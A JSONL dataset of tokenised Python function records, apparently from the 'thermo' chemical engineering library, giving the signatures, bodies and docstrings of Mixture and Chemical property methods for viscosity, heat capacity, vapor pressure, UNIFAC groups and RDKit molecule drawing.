{"signature": "@property<EOL><INDENT>def isobaric_expansion(self):<DEDENT>", "body": "return phase_select_property(phase=self.phase, l=self.isobaric_expansion_l, g=self.isobaric_expansion_g)<EOL>", "docstring": "r'''Isobaric (constant-pressure) expansion of the mixture at its\n        current phase, temperature, and pressure in units of [1/K].\n        Available only if single phase.\n\n        .. math::\n            \\beta = \\frac{1}{V}\\left(\\frac{\\partial V}{\\partial T} \\right)_P\n\n        Examples\n        --------\n        >>> Mixture(['water'], ws=[1], T=647.1, P=22048320.0).isobaric_expansion\n        0.34074205839222449", "id": "f15811:c0:m124"}
{"signature": "@property<EOL><INDENT>def JT(self):<DEDENT>", "body": "return phase_select_property(phase=self.phase, l=self.JTl, g=self.JTg)<EOL>", "docstring": "r'''Joule Thomson coefficient of the mixture at its\n        current phase, temperature, and pressure in units of [K/Pa].\n        Available only if single phase.\n\n        .. math::\n            \\mu_{JT} = \\left(\\frac{\\partial T}{\\partial P}\\right)_H = \\frac{1}{C_p}\n            \\left[T \\left(\\frac{\\partial V}{\\partial T}\\right)_P - V\\right]\n            = \\frac{V}{C_p}\\left(\\beta T-1\\right)\n\n        Examples\n        --------\n        >>> Mixture(['water'], ws=[1]).JT\n        -2.2150394958666412e-07", "id": "f15811:c0:m125"}
{"signature": "@property<EOL><INDENT>def mu(self):<DEDENT>", "body": "return phase_select_property(phase=self.phase, l=self.mul, g=self.mug)<EOL>", "docstring": "r'''Viscosity of the mixture at its current phase, temperature, and\n        pressure in units of [Pa*s].\n        Available only if single phase.\n\n        Examples\n        --------\n        >>> Mixture(['ethanol'], ws=[1], T=400).mu\n        1.1853097849748213e-05", "id": "f15811:c0:m126"}
{"signature": "@property<EOL><INDENT>def k(self):<DEDENT>", "body": "return phase_select_property(phase=self.phase, s=None, l=self.kl, g=self.kg)<EOL>", "docstring": "r'''Thermal conductivity of the mixture at its current phase,\n        temperature, and pressure in units of [W/m/K].\n        Available only if single phase.\n\n        Examples\n        --------\n        >>> Mixture(['ethanol'], ws=[1], T=300).kl\n        0.16313594741877802", "id": "f15811:c0:m127"}
{"signature": "@property<EOL><INDENT>def nu(self):<DEDENT>", "body": "return phase_select_property(phase=self.phase, l=self.nul, g=self.nug)<EOL>", "docstring": "r'''Kinematic viscosity of the the mixture at its current temperature,\n        pressure, and phase in units of [m^2/s].\n        Available only if single phase.\n\n        .. math::\n            \\nu = \\frac{\\mu}{\\rho}\n\n        Examples\n        --------\n        >>> Mixture(['argon'], ws=[1]).nu\n        1.3842643382482236e-05", "id": "f15811:c0:m128"}
{"signature": "@property<EOL><INDENT>def alpha(self):<DEDENT>", "body": "return phase_select_property(phase=self.phase, l=self.alphal, g=self.alphag)<EOL>", "docstring": "r'''Thermal diffusivity of the mixture at its current temperature,\n        pressure, and phase in units of [m^2/s].\n        Available only if single phase.\n\n        .. math::\n            \\alpha = \\frac{k}{\\rho Cp}\n\n        Examples\n        --------\n        >>> Mixture(['furfural'], ws=[1]).alpha\n        8.696537158635412e-08", "id": "f15811:c0:m129"}
{"signature": "@property<EOL><INDENT>def Pr(self):<DEDENT>", "body": "return phase_select_property(phase=self.phase, l=self.Prl, g=self.Prg)<EOL>", "docstring": "r'''Prandtl number of the mixture at its current temperature,\n        pressure, and phase; [dimensionless].\n        Available only if single phase.\n\n        .. math::\n            Pr = \\frac{C_p \\mu}{k}\n\n        Examples\n        --------\n        >>> Mixture(['acetone'], ws=[1]).Pr\n        4.183039103542711", "id": "f15811:c0:m130"}
{"signature": "@property<EOL><INDENT>def Vml_STP(self):<DEDENT>", "body": "return self.VolumeLiquidMixture(T=<NUM_LIT>, P=<NUM_LIT>, zs=self.zs, ws=self.ws)<EOL>", "docstring": "r'''Liquid-phase molar volume of the mixture at 298.15 K and 101.325 kPa,\n        and the current composition in units of [m^3/mol].\n\n        Examples\n        --------\n        >>> Mixture(['cyclobutane'], ws=[1]).Vml_STP\n        8.143327329133706e-05", "id": "f15811:c0:m131"}
{"signature": "@property<EOL><INDENT>def Vmg_STP(self):<DEDENT>", "body": "return self.VolumeGasMixture(T=<NUM_LIT>, P=<NUM_LIT>, zs=self.zs, ws=self.ws)<EOL>", "docstring": "r'''Gas-phase molar volume of the mixture at 298.15 K and 101.325 kPa,\n        and the current composition in units of [m^3/mol].\n\n        Examples\n        --------\n        >>> Mixture(['nitrogen'], ws=[1]).Vmg_STP\n        0.02445443688838904", "id": "f15811:c0:m132"}
{"signature": "@property<EOL><INDENT>def rhol_STP(self):<DEDENT>", "body": "Vml = self.Vml_STP<EOL>if Vml:<EOL><INDENT>return Vm_to_rho(Vml, self.MW)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Liquid-phase mass density of the mixture at 298.15 K and 101.325 kPa,\n        and the current composition in units of [kg/m^3].\n\n        Examples\n        --------\n        >>> Mixture(['cyclobutane'], ws=[1]).rhol_STP\n        688.9851989526821", "id": "f15811:c0:m133"}
{"signature": "@property<EOL><INDENT>def rhog_STP(self):<DEDENT>", "body": "Vmg = self.Vmg_STP<EOL>if Vmg:<EOL><INDENT>return Vm_to_rho(Vmg, self.MW)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Gas-phase mass density of the mixture at 298.15 K and 101.325 kPa,\n        and the current composition in units of [kg/m^3].\n\n        Examples\n        --------\n        >>> Mixture(['nitrogen'], ws=[1]).rhog_STP\n        1.145534453639403", "id": "f15811:c0:m134"}
{"signature": "@property<EOL><INDENT>def Zl_STP(self):<DEDENT>", "body": "Vml = self.Vml<EOL>if Vml:<EOL><INDENT>return Z(self.T, self.P, Vml)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Liquid-phase compressibility factor of the mixture at 298.15 K and 101.325 kPa,\n        and the current composition, [dimensionless].\n\n        Examples\n        --------\n        >>> Mixture(['cyclobutane'], ws=[1]).Zl_STP\n        0.0033285083663950068", "id": "f15811:c0:m135"}
{"signature": "@property<EOL><INDENT>def Zg_STP(self):<DEDENT>", "body": "Vmg = self.Vmg<EOL>if Vmg:<EOL><INDENT>return Z(self.T, self.P, Vmg)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Gas-phase compressibility factor of the mixture at 298.15 K and 101.325 kPa,\n        and the current composition, [dimensionless].\n\n        Examples\n        --------\n        >>> Mixture(['nitrogen'], ws=[1]).Zg_STP\n        0.9995520809691023", "id": "f15811:c0:m136"}
{"signature": "@property<EOL><INDENT>def rholm_STP(self):<DEDENT>", "body": "Vml = self.Vml_STP<EOL>if Vml:<EOL><INDENT>return <NUM_LIT:1.>/Vml<EOL><DEDENT>return None<EOL>", "docstring": "r'''Molar density of the mixture in the liquid phase at 298.15 K and 101.325 kPa,\n        and the current composition, in units of [mol/m^3].\n\n        Examples\n        --------\n        >>> Mixture(['water'], ws=[1]).rholm_STP\n        55344.59086372442", "id": "f15811:c0:m137"}
{"signature": "@property<EOL><INDENT>def rhogm_STP(self):<DEDENT>", "body": "Vmg = self.Vmg_STP<EOL>if Vmg:<EOL><INDENT>return <NUM_LIT:1.>/Vmg<EOL><DEDENT>return None<EOL>", "docstring": "r'''Molar density of the mixture in the gas phase at 298.15 K and 101.325 kPa,\n        and the current composition, in units of [mol/m^3].\n\n        Examples\n        --------\n        >>> Mixture(['nitrogen'], ws=[1]).rhogm_STP\n        40.892374850585895", "id": "f15811:c0:m138"}
{"signature": "@property<EOL><INDENT>def API(self):<DEDENT>", "body": "Vml = self.VolumeLiquidMixture(T=<NUM_LIT>, P=<NUM_LIT>, zs=self.zs, ws=self.ws)<EOL>if Vml:<EOL><INDENT>rho = Vm_to_rho(Vml, self.MW)<EOL><DEDENT>sg = SG(rho, rho_ref=<NUM_LIT>)<EOL>return SG_to_API(sg)<EOL>", "docstring": "r'''API gravity of the hypothetical liquid phase of the mixture, \n        [degrees]. The reference condition is water at 15.6 \u00b0C (60 \u00b0F) and 1 atm \n        (rho=999.016 kg/m^3, standardized).\n\n        Examples\n        --------\n        >>> Mixture(['hexane', 'decane'], ws=[0.5, 0.5]).API\n        71.34707841728181", "id": "f15811:c0:m139"}
{"signature": "def draw_2d(self,  Hs=False): ", "body": "try:<EOL><INDENT>from rdkit.Chem import Draw<EOL>from rdkit.Chem.Draw import IPythonConsole<EOL>if Hs:<EOL><INDENT>mols = [i.rdkitmol_Hs for i in self.Chemicals]<EOL><DEDENT>else:<EOL><INDENT>mols = [i.rdkitmol for i in self.Chemicals]<EOL><DEDENT>return Draw.MolsToImage(mols)<EOL><DEDENT>except:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>", "docstring": "r'''Interface for drawing a 2D image of all the molecules in the\n        mixture. Requires an HTML5 browser, and the libraries RDKit and\n        IPython. An exception is raised if either of these libraries is\n        absent.\n\n        Parameters\n        ----------\n        Hs : bool\n            Whether or not to show hydrogen\n\n        Examples\n        --------\n        Mixture(['natural gas']).draw_2d()", "id": "f15811:c0:m140"}
{"signature": "def draw_2d(self, width=<NUM_LIT>, height=<NUM_LIT>, Hs=False): ", "body": "try:<EOL><INDENT>from rdkit.Chem import Draw<EOL>from rdkit.Chem.Draw import IPythonConsole<EOL>if Hs:<EOL><INDENT>mol = self.rdkitmol_Hs<EOL><DEDENT>else:<EOL><INDENT>mol = self.rdkitmol<EOL><DEDENT>return Draw.MolToImage(mol, size=(width, height))<EOL><DEDENT>except:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>", "docstring": "r'''Interface for drawing a 2D image of the molecule.\n        Requires an HTML5 browser, and the libraries RDKit and\n        IPython. An exception is raised if either of these libraries is\n        absent.\n\n        Parameters\n        ----------\n        width : int\n            Number of pixels wide for the view\n        height : int\n            Number of pixels tall for the view\n        Hs : bool\n            Whether or not to show hydrogen\n\n        Examples\n        --------\n        >>> Chemical('decane').draw_2d() # doctest: +ELLIPSIS\n        <PIL.Image.Image image mode=RGBA size=300x300 at 0x...>", "id": "f15812:c0:m3"}
{"signature": "def draw_3d(self, width=<NUM_LIT>, height=<NUM_LIT>, style='<STR_LIT>', Hs=True): ", "body": "try:<EOL><INDENT>import py3Dmol<EOL>from IPython.display import display<EOL>if Hs:<EOL><INDENT>mol = self.rdkitmol_Hs<EOL><DEDENT>else:<EOL><INDENT>mol = self.rdkitmol<EOL><DEDENT>AllChem.EmbedMultipleConfs(mol)<EOL>mb = Chem.MolToMolBlock(mol)<EOL>p = py3Dmol.view(width=width,height=height)<EOL>p.addModel(mb,'<STR_LIT>')<EOL>p.setStyle({style:{}})<EOL>p.zoomTo()<EOL>display(p.show())<EOL><DEDENT>except:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>", "docstring": "r'''Interface for drawing an interactive 3D view of the molecule.\n        Requires an HTML5 browser, and the libraries RDKit, pymol3D, and\n        IPython. An exception is raised if all three of these libraries are\n        not installed.\n\n        Parameters\n        ----------\n        width : int\n            Number of pixels wide for the view\n        height : int\n            Number of pixels tall for the view\n        style : str\n            One of 'stick', 'line', 'cross', or 'sphere'\n        Hs : bool\n            Whether or not to show hydrogen\n\n        Examples\n        --------\n        >>> Chemical('cubane').draw_3d()\n        <IPython.core.display.HTML object>", "id": "f15812:c0:m4"}
{"signature": "@property<EOL><INDENT>def eos(self):<DEDENT>", "body": "return self.eos_in_a_box[<NUM_LIT:0>]<EOL>", "docstring": "r'''Equation of state object held by the chemical; used to calculate\n        excess thermodynamic quantities, and also provides a vapor pressure\n        curve, enthalpy of vaporization curve, fugacity, thermodynamic partial\n        derivatives, and more; see :obj:`thermo.eos` for a full listing.\n\n        Examples\n        --------\n        >>> Chemical('methane').eos.V_g\n        0.02441019502181826", "id": "f15812:c0:m8"}
{"signature": "@property<EOL><INDENT>def Um(self):<DEDENT>", "body": "return self.Hm - self.P*self.Vm if (self.Vm and self.Hm is not None) else None<EOL>", "docstring": "r'''Internal energy of the chemical at its current temperature and\n        pressure, in units of [J/mol].\n\n        This property requires that :obj:`thermo.chemical.set_thermo` ran\n        successfully to be accurate.\n        It also depends on the molar volume of the chemical at its current\n        conditions.", "id": "f15812:c0:m21"}
{"signature": "@property<EOL><INDENT>def U(self):<DEDENT>", "body": "return property_molar_to_mass(self.Um, self.MW) if (self.Um is not None) else None<EOL>", "docstring": "r'''Internal energy of the chemical at its current temperature and\n        pressure, in units of [J/kg].\n\n        This property requires that :obj:`thermo.chemical.set_thermo` ran\n        successfully to be accurate.\n        It also depends on the molar volume of the chemical at its current\n        conditions.", "id": "f15812:c0:m22"}
{"signature": "@property<EOL><INDENT>def Am(self):<DEDENT>", "body": "return self.Um - self.T*self.Sm if (self.Um is not None and self.Sm is not None) else None<EOL>", "docstring": "r'''Helmholtz energy of the chemical at its current temperature and\n        pressure, in units of [J/mol].\n\n        This property requires that :obj:`thermo.chemical.set_thermo` ran\n        successfully to be accurate.\n        It also depends on the molar volume of the chemical at its current\n        conditions.", "id": "f15812:c0:m23"}
{"signature": "@property<EOL><INDENT>def A(self):<DEDENT>", "body": "return self.U - self.T*self.S if (self.U is not None and self.S is not None) else None<EOL>", "docstring": "r'''Helmholtz energy of the chemical at its current temperature and\n        pressure, in units of [J/kg].\n\n        This property requires that :obj:`thermo.chemical.set_thermo` ran\n        successfully to be accurate.\n        It also depends on the molar volume of the chemical at its current\n        conditions.", "id": "f15812:c0:m24"}
{"signature": "@property<EOL><INDENT>def charge(self):<DEDENT>", "body": "try:<EOL><INDENT>if not self.rdkitmol:<EOL><INDENT>return charge_from_formula(self.formula)<EOL><DEDENT>else:<EOL><INDENT>return Chem.GetFormalCharge(self.rdkitmol)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>return charge_from_formula(self.formula)<EOL><DEDENT>", "docstring": "r'''Charge of a chemical, computed with RDKit from a chemical's SMILES.\n        If RDKit is not available, holds None.\n\n        Examples\n        --------\n        >>> Chemical('sodium ion').charge\n        1", "id": "f15812:c0:m25"}
{"signature": "@property<EOL><INDENT>def rings(self):<DEDENT>", "body": "try:<EOL><INDENT>return Chem.Descriptors.RingCount(self.rdkitmol)<EOL><DEDENT>except:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "r'''Number of rings in a chemical, computed with RDKit from a\n        chemical's SMILES. If RDKit is not available, holds None.\n\n        Examples\n        --------\n        >>> Chemical('Paclitaxel').rings\n        7", "id": "f15812:c0:m26"}
{"signature": "@property<EOL><INDENT>def aromatic_rings(self):<DEDENT>", "body": "try:<EOL><INDENT>return Chem.Descriptors.NumAromaticRings(self.rdkitmol)<EOL><DEDENT>except:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "r'''Number of aromatic rings in a chemical, computed with RDKit from a\n        chemical's SMILES. If RDKit is not available, holds None.\n\n        Examples\n        --------\n        >>> Chemical('Paclitaxel').aromatic_rings\n        3", "id": "f15812:c0:m27"}
{"signature": "@property<EOL><INDENT>def rdkitmol(self):<DEDENT>", "body": "if self.__rdkitmol:<EOL><INDENT>return self.__rdkitmol<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>self.__rdkitmol = Chem.MolFromSmiles(self.smiles)<EOL>return self.__rdkitmol<EOL><DEDENT>except:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>", "docstring": "r'''RDKit object of the chemical, without hydrogen. If RDKit is not\n        available, holds None.\n\n        For examples of what can be done with RDKit, see\n        `their website <http://www.rdkit.org/docs/GettingStartedInPython.html>`_.", "id": "f15812:c0:m28"}
{"signature": "@property<EOL><INDENT>def rdkitmol_Hs(self):<DEDENT>", "body": "if self.__rdkitmol_Hs:<EOL><INDENT>return self.__rdkitmol_Hs<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>self.__rdkitmol_Hs = Chem.AddHs(self.rdkitmol)<EOL>return self.__rdkitmol_Hs<EOL><DEDENT>except:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>", "docstring": "r'''RDKit object of the chemical, with hydrogen. If RDKit is not\n        available, holds None.\n\n        For examples of what can be done with RDKit, see\n        `their website <http://www.rdkit.org/docs/GettingStartedInPython.html>`_.", "id": "f15812:c0:m29"}
{"signature": "@property<EOL><INDENT>def Hill(self):<DEDENT>", "body": "if self.__Hill:<EOL><INDENT>return self.__Hill<EOL><DEDENT>else:<EOL><INDENT>self.__Hill = atoms_to_Hill(self.atoms)<EOL>return self.__Hill<EOL><DEDENT>", "docstring": "r'''Hill formula of a compound. For a description of the Hill system,\n        see :obj:`thermo.elements.atoms_to_Hill`.\n\n        Examples\n        --------\n        >>> Chemical('furfuryl alcohol').Hill\n        'C5H6O2'", "id": "f15812:c0:m30"}
{"signature": "@property<EOL><INDENT>def atom_fractions(self):<DEDENT>", "body": "if self.__atom_fractions:<EOL><INDENT>return self.__atom_fractions<EOL><DEDENT>else:<EOL><INDENT>self.__atom_fractions = atom_fractions(self.atoms)<EOL>return self.__atom_fractions<EOL><DEDENT>", "docstring": "r'''Dictionary of atom:fractional occurence of the elements in a\n        chemical. Useful when performing element balances. For mass-fraction\n        occurences, see :obj:`mass_fractions`.\n\n        Examples\n        --------\n        >>> Chemical('Ammonium aluminium sulfate').atom_fractions\n        {'H': 0.25, 'S': 0.125, 'Al': 0.0625, 'O': 0.5, 'N': 0.0625}", "id": "f15812:c0:m31"}
{"signature": "@property<EOL><INDENT>def mass_fractions(self):<DEDENT>", "body": "if self.__mass_fractions:<EOL><INDENT>return self.__mass_fractions<EOL><DEDENT>else:<EOL><INDENT>self.__mass_fractions =  mass_fractions(self.atoms, self.MW)<EOL>return self.__mass_fractions<EOL><DEDENT>", "docstring": "r'''Dictionary of atom:mass-weighted fractional occurence of elements.\n        Useful when performing mass balances. For atom-fraction occurences, see\n        :obj:`atom_fractions`.\n\n        Examples\n        --------\n        >>> Chemical('water').mass_fractions\n        {'H': 0.11189834407236524, 'O': 0.8881016559276347}", "id": "f15812:c0:m32"}
{"signature": "@property<EOL><INDENT>def legal_status(self):<DEDENT>", "body": "if self.__legal_status:<EOL><INDENT>return self.__legal_status<EOL><DEDENT>else:<EOL><INDENT>self.__legal_status = legal_status(self.CAS, Method='<STR_LIT>')<EOL>return self.__legal_status<EOL><DEDENT>", "docstring": "r'''Dictionary of legal status indicators for the chemical.\n\n        Examples\n        --------\n        >>> pprint(Chemical('benzene').legal_status)\n        {'DSL': 'LISTED',\n         'EINECS': 'LISTED',\n         'NLP': 'UNLISTED',\n         'SPIN': 'LISTED',\n         'TSCA': 'LISTED'}", "id": "f15812:c0:m33"}
{"signature": "@property<EOL><INDENT>def economic_status(self):<DEDENT>", "body": "if self.__economic_status:<EOL><INDENT>return self.__economic_status<EOL><DEDENT>else:<EOL><INDENT>self.__economic_status = economic_status(self.CAS, Method='<STR_LIT>')<EOL>return self.__economic_status<EOL><DEDENT>", "docstring": "r'''Dictionary of economic status indicators for the chemical.\n\n        Examples\n        --------\n        >>> pprint(Chemical('benzene').economic_status)\n        [\"US public: {'Manufactured': 6165232.1, 'Imported': 463146.474, 'Exported': 271908.252}\",\n         u'1,000,000 - 10,000,000 tonnes per annum',\n         u'Intermediate Use Only',\n         'OECD HPV Chemicals']", "id": "f15812:c0:m34"}
{"signature": "@property<EOL><INDENT>def UNIFAC_groups(self):<DEDENT>", "body": "if self.__UNIFAC_groups:<EOL><INDENT>return self.__UNIFAC_groups<EOL><DEDENT>else:<EOL><INDENT>load_group_assignments_DDBST()<EOL>if self.InChI_Key in DDBST_UNIFAC_assignments:<EOL><INDENT>self.__UNIFAC_groups = DDBST_UNIFAC_assignments[self.InChI_Key]<EOL>return self.__UNIFAC_groups<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>", "docstring": "r'''Dictionary of UNIFAC subgroup: count groups for the original\n        UNIFAC subgroups, as determined by `DDBST's online service <http://www.ddbst.com/unifacga.html>`_.\n\n        Examples\n        --------\n        >>> pprint(Chemical('Cumene').UNIFAC_groups)\n        {1: 2, 9: 5, 13: 1}", "id": "f15812:c0:m35"}
{"signature": "@property<EOL><INDENT>def UNIFAC_Dortmund_groups(self):<DEDENT>", "body": "if self.__UNIFAC_Dortmund_groups:<EOL><INDENT>return self.__UNIFAC_Dortmund_groups<EOL><DEDENT>else:<EOL><INDENT>load_group_assignments_DDBST()<EOL>if self.InChI_Key in DDBST_MODIFIED_UNIFAC_assignments:<EOL><INDENT>self.__UNIFAC_Dortmund_groups = DDBST_MODIFIED_UNIFAC_assignments[self.InChI_Key]<EOL>return self.__UNIFAC_Dortmund_groups<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>", "docstring": "r'''Dictionary of Dortmund UNIFAC subgroup: count groups for the\n        Dortmund UNIFAC subgroups, as determined by `DDBST's online service <http://www.ddbst.com/unifacga.html>`_.\n\n        Examples\n        --------\n        >>> pprint(Chemical('Cumene').UNIFAC_Dortmund_groups)\n        {1: 2, 9: 5, 13: 1}", "id": "f15812:c0:m36"}
{"signature": "@property<EOL><INDENT>def PSRK_groups(self):<DEDENT>", "body": "if self.__PSRK_groups:<EOL><INDENT>return self.__PSRK_groups<EOL><DEDENT>else:<EOL><INDENT>load_group_assignments_DDBST()<EOL>if self.InChI_Key in DDBST_PSRK_assignments:<EOL><INDENT>self.__PSRK_groups = DDBST_PSRK_assignments[self.InChI_Key]<EOL>return self.__PSRK_groups<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>", "docstring": "r'''Dictionary of PSRK subgroup: count groups for the PSRK subgroups,\n        as determined by `DDBST's online service <http://www.ddbst.com/unifacga.html>`_.\n\n        Examples\n        --------\n        >>> pprint(Chemical('Cumene').PSRK_groups)\n        {1: 2, 9: 5, 13: 1}", "id": "f15812:c0:m37"}
{"signature": "@property<EOL><INDENT>def UNIFAC_R(self):<DEDENT>", "body": "if self.UNIFAC_groups:<EOL><INDENT>return UNIFAC_RQ(self.UNIFAC_groups)[<NUM_LIT:0>]<EOL><DEDENT>return None<EOL>", "docstring": "r'''UNIFAC `R` (normalized Van der Waals volume), dimensionless.\n        Used in the UNIFAC model.\n\n        Examples\n        --------\n        >>> Chemical('benzene').UNIFAC_R\n        3.1878", "id": "f15812:c0:m38"}
{"signature": "@property<EOL><INDENT>def UNIFAC_Q(self):<DEDENT>", "body": "if self.UNIFAC_groups:<EOL><INDENT>return UNIFAC_RQ(self.UNIFAC_groups)[<NUM_LIT:1>]<EOL><DEDENT>return None<EOL>", "docstring": "r'''UNIFAC `Q` (normalized Van der Waals area), dimensionless.\n        Used in the UNIFAC model.\n\n        Examples\n        --------\n        >>> Chemical('decane').UNIFAC_Q\n        6.016", "id": "f15812:c0:m39"}
{"signature": "@property<EOL><INDENT>def Van_der_Waals_volume(self):<DEDENT>", "body": "if self.UNIFAC_R:<EOL><INDENT>return Van_der_Waals_volume(self.UNIFAC_R)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Unnormalized Van der Waals volume, in units of [m^3/mol].\n\n        Examples\n        --------\n        >>> Chemical('hexane').Van_der_Waals_volume\n        6.8261966e-05", "id": "f15812:c0:m40"}
{"signature": "@property<EOL><INDENT>def Van_der_Waals_area(self):<DEDENT>", "body": "if self.UNIFAC_Q:<EOL><INDENT>return Van_der_Waals_area(self.UNIFAC_Q)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Unnormalized Van der Waals area, in units of [m^2/mol].\n\n        Examples\n        --------\n        >>> Chemical('hexane').Van_der_Waals_area\n        964000.0", "id": "f15812:c0:m41"}
{"signature": "@property<EOL><INDENT>def R_specific(self):<DEDENT>", "body": "return property_molar_to_mass(R, self.MW)<EOL>", "docstring": "r'''Specific gas constant, in units of [J/kg/K].\n\n        Examples\n        --------\n        >>> Chemical('water').R_specific\n        461.52265188218", "id": "f15812:c0:m42"}
{"signature": "@property<EOL><INDENT>def Psat(self):<DEDENT>", "body": "return self.VaporPressure(self.T)<EOL>", "docstring": "r'''Vapor pressure of the chemical at its current temperature, in units\n        of [Pa]. For calculation of this property at other temperatures,\n        or specifying manually the method used to calculate it, and more - see\n        the object oriented interface :obj:`thermo.vapor_pressure.VaporPressure`;\n        each Chemical instance creates one to actually perform the calculations.\n\n        Examples\n        --------\n        >>> Chemical('water', T=320).Psat\n        10533.614271198725\n        >>> Chemical('water').VaporPressure.T_dependent_property(320)\n        10533.614271198725\n        >>> Chemical('water').VaporPressure.all_methods\n        set(['VDI_PPDS', 'BOILING_CRITICAL', 'WAGNER_MCGARRY', 'AMBROSE_WALTON', 'COOLPROP', 'LEE_KESLER_PSAT', 'EOS', 'ANTOINE_POLING', 'SANJARI', 'DIPPR_PERRY_8E', 'Edalat'])", "id": "f15812:c0:m43"}
{"signature": "@property<EOL><INDENT>def Hvapm(self):<DEDENT>", "body": "return self.EnthalpyVaporization(self.T)<EOL>", "docstring": "r'''Enthalpy of vaporization of the chemical at its current temperature,\n        in units of [J/mol]. For calculation of this property at other\n        temperatures, or specifying manually the method used to calculate it,\n        and more - see the object oriented interface\n        :obj:`thermo.phase_change.EnthalpyVaporization`; each Chemical instance\n        creates one to actually perform the calculations.\n\n        Examples\n        --------\n        >>> Chemical('water', T=320).Hvapm\n        43048.23612280223\n        >>> Chemical('water').EnthalpyVaporization.T_dependent_property(320)\n        43048.23612280223\n        >>> Chemical('water').EnthalpyVaporization.all_methods\n        set(['VDI_PPDS', 'MORGAN_KOBAYASHI', 'VETERE', 'VELASCO', 'LIU', 'COOLPROP', 'CRC_HVAP_298', 'CLAPEYRON', 'SIVARAMAN_MAGEE_KOBAYASHI', 'ALIBAKHSHI', 'DIPPR_PERRY_8E', 'RIEDEL', 'CHEN', 'PITZER', 'CRC_HVAP_TB'])", "id": "f15812:c0:m44"}
{"signature": "@property<EOL><INDENT>def Hvap(self):<DEDENT>", "body": "Hvamp = self.Hvapm<EOL>if Hvamp:<EOL><INDENT>return property_molar_to_mass(Hvamp, self.MW)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Enthalpy of vaporization of the chemical at its current temperature,\n        in units of [J/kg].\n\n        This property uses the object-oriented interface\n        :obj:`thermo.phase_change.EnthalpyVaporization`, but converts its\n        results from molar to mass units.\n\n        Examples\n        --------\n        >>> Chemical('water', T=320).Hvap\n        2389540.219347256", "id": "f15812:c0:m45"}
{"signature": "@property<EOL><INDENT>def Cpsm(self):<DEDENT>", "body": "return self.HeatCapacitySolid(self.T)<EOL>", "docstring": "r'''Solid-phase heat capacity of the chemical at its current temperature,\n        in units of [J/mol/K]. For calculation of this property at other\n        temperatures, or specifying manually the method used to calculate it,\n        and more - see the object oriented interface\n        :obj:`thermo.heat_capacity.HeatCapacitySolid`; each Chemical instance\n        creates one to actually perform the calculations.\n\n        Examples\n        --------\n        >>> Chemical('palladium').Cpsm\n        24.930765664000003\n        >>> Chemical('palladium').HeatCapacitySolid.T_dependent_property(320)\n        25.098979200000002\n        >>> Chemical('palladium').HeatCapacitySolid.all_methods\n        set([\"Perry's Table 2-151\", 'CRC Standard Thermodynamic Properties of Chemical Substances', 'Lastovka, Fulem, Becerra and Shaw (2008)'])", "id": "f15812:c0:m46"}
{"signature": "@property<EOL><INDENT>def Cplm(self):<DEDENT>", "body": "return self.HeatCapacityLiquid(self.T)<EOL>", "docstring": "r'''Liquid-phase heat capacity of the chemical at its current temperature,\n        in units of [J/mol/K]. For calculation of this property at other\n        temperatures, or specifying manually the method used to calculate it,\n        and more - see the object oriented interface\n        :obj:`thermo.heat_capacity.HeatCapacityLiquid`; each Chemical instance\n        creates one to actually perform the calculations.\n\n        Notes\n        -----\n        Some methods give heat capacity along the saturation line, some at\n        1 atm but only up to the normal boiling point, and some give heat\n        capacity at 1 atm up to the normal boiling point and then along the\n        saturation line. Real-liquid heat capacity is pressure dependent, but\n        this interface is not.\n\n        Examples\n        --------\n        >>> Chemical('water').Cplm\n        75.31462591538556\n        >>> Chemical('water').HeatCapacityLiquid.T_dependent_property(320)\n        75.2591744360631\n        >>> Chemical('water').HeatCapacityLiquid.T_dependent_property_integral(300, 320)\n        1505.0619005000553", "id": "f15812:c0:m47"}
{"signature": "@property<EOL><INDENT>def Cpgm(self):<DEDENT>", "body": "return self.HeatCapacityGas(self.T)<EOL>", "docstring": "r'''Gas-phase ideal gas heat capacity of the chemical at its current\n        temperature, in units of [J/mol/K]. For calculation of this property at\n        other temperatures, or specifying manually the method used to calculate\n        it, and more - see the object oriented interface\n        :obj:`thermo.heat_capacity.HeatCapacityGas`; each Chemical instance\n        creates one to actually perform the calculations.\n\n        Examples\n        --------\n        >>> Chemical('water').Cpgm\n        33.583577868850675\n        >>> Chemical('water').HeatCapacityGas.T_dependent_property(320)\n        33.67865044005934\n        >>> Chemical('water').HeatCapacityGas.T_dependent_property_integral(300, 320)\n        672.6480417835064", "id": "f15812:c0:m48"}
{"signature": "@property<EOL><INDENT>def Cps(self):<DEDENT>", "body": "Cpsm = self.HeatCapacitySolid(self.T)<EOL>if Cpsm:<EOL><INDENT>return property_molar_to_mass(Cpsm, self.MW)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Solid-phase heat capacity of the chemical at its current temperature,\n        in units of [J/kg/K]. For calculation of this property at other\n        temperatures, or specifying manually the method used to calculate it,\n        and more - see the object oriented interface\n        :obj:`thermo.heat_capacity.HeatCapacitySolid`; each Chemical instance\n        creates one to actually perform the calculations. Note that that\n        interface provides output in molar units.\n\n        Examples\n        --------\n        >>> Chemical('palladium', T=400).Cps\n        241.63563239992484\n        >>> Pd = Chemical('palladium', T=400)\n        >>> Cpsms = [Pd.HeatCapacitySolid.T_dependent_property(T) for T in np.linspace(300,500, 5)]\n        >>> [property_molar_to_mass(Cps, Pd.MW) for Cps in Cpsms]\n        [234.40150347679008, 238.01856793835751, 241.63563239992484, 245.25269686149224, 248.86976132305958]", "id": "f15812:c0:m49"}
